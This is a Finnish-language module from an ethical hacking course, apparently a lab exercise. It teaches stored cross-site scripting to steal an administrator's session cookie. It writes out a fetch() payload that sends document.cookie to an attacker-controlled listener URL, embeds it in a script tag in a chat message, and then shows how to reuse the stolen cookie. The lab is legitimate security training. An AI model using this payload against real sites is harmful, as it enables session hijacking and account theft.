XSS (Cross-Site Scripting)

Evästeiden vuodatus verkon yli

Helppo
45 min

Tässä moduulissa hyväksikäytämme harjoituskohteessa olevaa XSS-haavoittuvuutta, joten voit käynnistää alla olevan tehtävän ja toistaa vaiheet omassa tahdissa.

XSS 2

Tässä moduulissa käytät hyväksi XSS haavoittuvuutta ja kaappaat järjestelmänvalvojan istunnon.

Tavoite

Varasta järjestelmänvalvojan istuntoevästeet ja autentikoidu järjestelmään kyseisenä käyttäjänä.

Vihje

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.


Tällä kertaa järjestelmänvalvoja huomaa, jos käyttäjät alkavat lähettämään tahattomia viestejä, kokeile vaikka! Tässä tehtävässä turvaudumme siis vaihtoehtoiseen vuodatuskanavaan, eli lähetämme evästeen salaa HTTP-kuuntelijaan, jonka olemme käynnistäneet hyökkääjän palvelimella. Näin evästeet eivät näy sivustolla vaan siirtyvät huomaamatta hyökkääjälle.

Kuuntelija

Tarvitsemme ensin kuuntelijan, jonne evästeet voidaan lähettää. Onneksi, hyökkääjän koneella on jo käynnissä HTTP-palvelin portissa 80. URL-osoite on lueteltu hyökkääjän resurssien alla (alkaa https://web-).

Avaa hyökkääjän pääte ja käytä tail-komentoa seurataksesi kuuntelijaan tulleita HTTP-pyyntöjä.

tail -f /var/log/apache2/access.log

Hyökkäyskoodi

Seuraavaksi kirjoitamme haittakoodin, joka suoritettuna lähettää evästeet kuuntelijaamme. Aloitetaan avaamalla taas selaimen kehittäjätyökalut ja kirjoitellaan sekä testataan hyökkäyskoodi JavaScript-konsolissa. Käytetään tässäkin tapauksessa fetch-funktiota evästeen lähettämiseen.

fetch("https://web-attacker-.../" + document.cookie);

Ideana on tehdä HTTP-pyyntö hyökkääjän kuuntelijaan, ja sisällyttää pyynnön URL-osoitteeseen istuntoeväste, joka halutaan varastaa. Älä välitä virheistä, joita saatat nähdä suorittaessasi haittakoodin.

Kun haittakoodimme on toimintavalmis, pitäisi kuuntelijaan saapua HTTP-pyyntö, joka sisältää käyttäjämme istuntoevästeen.

Hyökkäys

Kun olemme todenneet haittakoodin toimivuuden, asetamme tämän script-elementin sisään ja ujutamme haavoittuvaiselle sivulle uudessa viestissä.

Moi! Mitä kuuluu? <script>fetch("https://web-attacker-.../" + document.cookie);</script>

Lopuksi odotamme, että järjestelmänvalvoja lukee viestimme, jonka johdosta haittakoodimme suoritetaan ja järjestelmänvalvojan evästeet siirtyvät kuuntelijaamme.

Järjestelmänvalvojan istuntotunnisteen käyttäminen

Muistutuksena vielä, näin asetat järjestelmänvalvojan evästeen selaimeesi:

document.cookie = "SessionId=.eJ...";

Sitten vain päivitämme sivun, ja voilà!

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.